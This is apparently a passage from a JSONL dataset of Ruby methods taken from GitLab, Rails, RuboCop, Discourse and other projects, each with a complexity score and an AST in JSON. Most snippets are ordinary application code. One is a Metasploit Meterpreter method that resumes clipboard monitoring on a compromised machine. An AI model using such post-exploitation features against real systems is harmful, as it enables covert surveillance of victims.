supported\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"p\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errors\"]},\"Decryption\"]},{\"type\":\"str\",\"children\":[\"Invalid data format: hash without payload\"]}]}]}]}]}","id":"e8187ade-3aff-4d96-a033-0cc75b48e26e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/project_search_results.rb","start_line":7,"raw_source":"def initialize(current_user, query, project:, repository_ref: nil, order_by: nil, sort: nil, filters: {})\n      @project = project\n      @repository_ref = repository_ref.presence\n\n      # use the default filter for project searches since we are already limiting by a single project\n      super(\n        current_user, query, [project], order_by: order_by, sort: sort, filters: filters, default_project_filter: true\n      )\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"kwarg\",\"children\":[\"project\"]},{\"type\":\"kwoptarg\",\"children\":[\"repository_ref\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"order_by\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sort\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"filters\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@repository_ref\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository_ref\"]},\"presence\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_by\"]},{\"type\":\"lvar\",\"children\":[\"order_by\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"lvar\",\"children\":[\"sort\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"lvar\",\"children\":[\"filters\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_project_filter\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"c130a557-1fe1-4c55-b0b3-de9d66fd9e21"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/error_tracking/sentry_client.rb","start_line":74,"raw_source":"def http_get(url, params = {})\n      http_request do\n        Gitlab::HTTP.get(url, **request_params.merge(params))\n      end\n    end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"http_get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"http_request\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HTTP\"]},\"get\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_params\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}]}","id":"2e793f97-f9aa-4faa-91a9-9f961e0d1802"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/document_dynamic_eval_definition.rb","start_line":107,"raw_source":"def comment_block_docs?(arg_node)\n          comments = heredoc_comment_blocks(arg_node.loc.heredoc_body.line_span)\n                     .concat(preceding_comment_blocks(arg_node.parent))\n\n          return false if comments.none?\n\n          regexp = comment_regexp(arg_node)\n          comments.any?(regexp) || regexp.match?(comments.join)\n        end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"comment_block_docs?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"heredoc_comment_blocks\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_node\"]},\"loc\"]},\"heredoc_body\"]},\"line_span\"]}]},\"concat\",{\"type\":\"send\",\"children\":[null,\"preceding_comment_blocks\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_node\"]},\"parent\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"none?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"regexp\",{\"type\":\"send\",\"children\":[null,\"comment_regexp\",{\"type\":\"lvar\",\"children\":[\"arg_node\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"any?\",{\"type\":\"lvar\",\"children\":[\"regexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"join\"]}]}]}]}]}","id":"3bf3f60d-c2ae-4552-955f-4bfb13fe8f6f"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/form_tag_helper.rb","start_line":383,"raw_source":"def password_field_tag(name = \"password\", value = nil, options = {})\n        text_field_tag(name, value, options.merge(type: :password))\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"password_field_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"text_field_tag\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]}]}]}]}","id":"246adb47-5e54-4144-8d2c-f8f04381e0ec"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/shipments_controller.rb","start_line":128,"raw_source":"def change_state_service\n            Spree::Api::Dependencies.platform_shipment_change_state_service.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change_state_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_shipment_change_state_service\"]},\"constantize\"]}]}","id":"57b6b6a8-c8bd-4e35-8e30-7a32f703fc4b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/server_timing_test.rb","start_line":18,"raw_source":"def create\n      ActiveSupport::Notifications.instrument(\"custom.event\") do\n        raise\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"instrument\",{\"type\":\"str\",\"children\":[\"custom.event\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]}","id":"243b5dbf-0a84-45ac-aa35-41f4d35ea8a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/jira_connect_installations/destroy_service.rb","start_line":9,"raw_source":"def initialize(installation, jira_connect_base_path, jira_connect_uninstalled_event_path)\n      @installation = installation\n      @jira_connect_base_path = jira_connect_base_path\n      @jira_connect_uninstalled_event_path = jira_connect_uninstalled_event_path\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"installation\"]},{\"type\":\"arg\",\"children\":[\"jira_connect_base_path\"]},{\"type\":\"arg\",\"children\":[\"jira_connect_uninstalled_event_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@installation\",{\"type\":\"lvar\",\"children\":[\"installation\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@jira_connect_base_path\",{\"type\":\"lvar\",\"children\":[\"jira_connect_base_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@jira_connect_uninstalled_event_path\",{\"type\":\"lvar\",\"children\":[\"jira_connect_uninstalled_event_path\"]}]}]}]}","id":"1a5ff5b7-ea32-43bf-b7cd-28b08b30f8a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/discussions/unresolve_service.rb","start_line":14,"raw_source":"def execute\n      @all_discussions_resolved_before = merge_request ? @discussion.noteable.discussions_resolved? : false\n\n      @discussion.unresolve!\n\n      send_graphql_triggers\n\n      Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter\n        .track_unresolve_thread_action(user: @user)\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_discussions_resolved_before\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@discussion\"]},\"noteable\"]},\"discussions_resolved?\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@discussion\"]},\"unresolve!\"]},{\"type\":\"send\",\"children\":[null,\"send_graphql_triggers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UsageDataCounters\"]},\"MergeRequestActivityUniqueCounter\"]},\"track_unresolve_thread_action\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]}]}","id":"e3265a38-5253-4b38-a9e1-993f3f1e300e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":420,"raw_source":"def check_policy_prevent(policy_event, *cb_method)\n    enforce_policy(policy_event, {}, {:miq_callback => prevent_callback_settings(*cb_method)}) unless policy_event.nil?\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_policy_prevent\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy_event\"]},{\"type\":\"restarg\",\"children\":[\"cb_method\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_event\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[null,\"enforce_policy\",{\"type\":\"lvar\",\"children\":[\"policy_event\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_callback\"]},{\"type\":\"send\",\"children\":[null,\"prevent_callback_settings\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cb_method\"]}]}]}]}]}]}]}]}","id":"ad14d054-e831-4e2f-ad75-ec2be960339a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":1488,"raw_source":"def event_logs\n    operating_system.nil? ? [] : operating_system.event_logs\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"event_logs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operating_system\"]},\"nil?\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operating_system\"]},\"event_logs\"]}]}]}","id":"0ca3acbe-bc64-4355-9f79-d7c4d3a6bf97"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/go.rb","start_line":40,"raw_source":"def not_found_response\n        go_help_page_url = Rails.application.routes.url_helpers.help_page_url('user/project/use_project_as_go_package.md')\n        not_found_message = \"Go package not found or access denied. If you are trying to access a private project, ensure your ~/.netrc file has credentials so the go toolchain can authenticate. See #{go_help_page_url} for details.\"\n\n        [404, { 'Content-Type' => 'text/plain' }, [not_found_message]]\n      end","complexity_score":7.45,"ast_json":"{\"type\":\"def\",\"children\":[\"not_found_response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"go_help_page_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"url_helpers\"]},\"help_page_url\",{\"type\":\"str\",\"children\":[\"user/project/use_project_as_go_package.md\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"not_found_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Go package not found or access denied. If you are trying to access a private project, ensure your ~/.netrc file has credentials so the go toolchain can authenticate. See \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"go_help_page_url\"]}]},{\"type\":\"str\",\"children\":[\" for details.\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[404]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"not_found_message\"]}]}]}]}]}","id":"1f629385-1c65-4301-873c-b4d5fe25d29d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transaction_callbacks_test.rb","start_line":463,"raw_source":"def test_after_commit_callbacks_should_validate_on_condition\n    assert_raise(ArgumentError) { Topic.after_commit(on: :save) }\n    e = assert_raise(ArgumentError) { Topic.after_commit(on: \"create\") }\n    assert_match(/:on conditions for after_commit and after_rollback callbacks have to be one of \\[:create, :destroy, :update\\]/, e.message)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_after_commit_callbacks_should_validate_on_condition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"after_commit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"sym\",\"children\":[\"save\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"after_commit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"str\",\"children\":[\"create\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\":on conditions for after_commit and after_rollback callbacks have to be one of \\\\[:create, :destroy, :update\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}","id":"4b75e113-f33f-4850-bf0f-54649ab7059c"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/csv_restore_staged_users.rb","start_line":50,"raw_source":"def get_custom_fields(id)\n    custom_fields = {}\n    @imported_custom_fields.each do |cf|\n      custom_fields[cf[\"name\"]] = cf[\"value\"] if cf[\"user_id\"] == id\n    end\n    custom_fields\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_custom_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"custom_fields\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@imported_custom_fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cf\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_fields\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"custom_fields\"]}]}]}","id":"18d74754-5d9c-4bd4-97a1-f38c9fd1bdd7"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_list_serializer.rb","start_line":18,"raw_source":"def initialize(object, options = {})\n    super\n    options[:filter] = object.filter\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"filter\"]}]}]}]}","id":"080a2266-b92b-4769-b192-e9d10b1d3060"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/duplicate_match_pattern.rb","start_line":108,"raw_source":"def pattern_identity(pattern)\n          pattern_source = if pattern.type?(:hash_pattern, :match_alt)\n                             pattern.children.map(&:source).sort.to_s\n                           else\n                             pattern.source\n                           end\n\n          return pattern_source unless (guard = pattern.parent.children[1])\n\n          pattern_source + guard.source\n        end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"pattern_identity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pattern_source\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"type?\",{\"type\":\"sym\",\"children\":[\"hash_pattern\"]},{\"type\":\"sym\",\"children\":[\"match_alt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"children\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]}]}]},\"sort\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"source\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"guard\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"parent\"]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern_source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern_source\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guard\"]},\"source\"]}]}]}]}","id":"159d0314-40ec-4673-9245-359def0dd203"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/maven/find_or_create_package_service.rb","start_line":80,"raw_source":"def duplicate_error?(package)\n        !Namespace::PackageSetting.duplicates_allowed?(package) && target_package_is_duplicate?(package)\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"duplicate_error?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"PackageSetting\"]},\"duplicates_allowed?\",{\"type\":\"lvar\",\"children\":[\"package\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"target_package_is_duplicate?\",{\"type\":\"lvar\",\"children\":[\"package\"]}]}]}]}","id":"0198cc5c-3b83-4567-ab5c-f261b98c92f7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/oauth/show_page_header_component.rb","start_line":40,"raw_source":"def breadcrumb_items\n    [{ href: admin_index_path, text: t(:label_administration) },\n     { href: admin_settings_authentication_path, text: t(:label_authentication) },\n     { href: oauth_applications_path, text: t(\"oauth.application.plural\") },\n     @application.name]\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"breadcrumb_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"admin_index_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"label_administration\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"admin_settings_authentication_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"label_authentication\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"oauth_applications_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"oauth.application.plural\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@application\"]},\"name\"]}]}]}","id":"b084abec-dd29-41e1-8691-0308f8f02cbb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb","start_line":89,"raw_source":"def monitor_resume\n    request = Packet.create_request(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_RESUME)\n    return client.send_request(request)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"monitor_resume\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_RESUME\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]}]}","id":"451dce7f-c39c-444f-a471-f8d3d16f4866"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/create.rb","start_line":41,"raw_source":"def statuses\n            pipeline\n              .stages\n              .flat_map(&:statuses)\n          end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"statuses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"stages\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"statuses\"]}]}]}]}","id":"8a4d2a0c-a272-4fa7-8351-24a321dafe17"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/app/gitlab_config_up_to_date_check.rb","start_line":9,"raw_source":"def skip?\n        gitlab_config_file = Rails.root.join('config', 'gitlab.yml')\n        !File.exist?(gitlab_config_file)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"skip?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gitlab_config_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"config\"]},{\"type\":\"str\",\"children\":[\"gitlab.yml\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"gitlab_config_file\"]}]},\"!\"]}]}]}","id":"d264f798-07d5-4936-9802-50bc099a92dc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/saml/identity_linker.rb","start_line":20,"raw_source":"def raise_unless_request_is_gitlab_initiated!\n          raise UnverifiedRequest unless valid_gitlab_initiated_request?\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_unless_request_is_gitlab_initiated!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_gitlab_initiated_request?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnverifiedRequest\"]}]}]}]}","id":"9e940fb7-9889-4e9f-893e-b33192e8698c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/milestone.rb","start_line":195,"raw_source":"def self.sort_with_expired_last(method)\n    # NOTE: this is a custom ordering of milestones\n    # to prioritize displaying non-expired milestones and milestones without due dates\n    sorted = reorder(Arel.sql(\"(CASE WHEN due_date IS NULL THEN 1 WHEN due_date >= CURRENT_DATE THEN 0 ELSE 2 END) ASC\"))\n    sorted = if method.to_s == 'expired_last_due_date_desc'\n               sorted.order(due_date: :desc)\n             else\n               sorted.order(due_date: :asc)\n             end\n\n    sorted.with_order_id_desc\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sort_with_expired_last\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sorted\",{\"type\":\"send\",\"children\":[null,\"reorder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"(CASE WHEN due_date IS NULL THEN 1 WHEN due_date >= CURRENT_DATE THEN 0 ELSE 2 END) 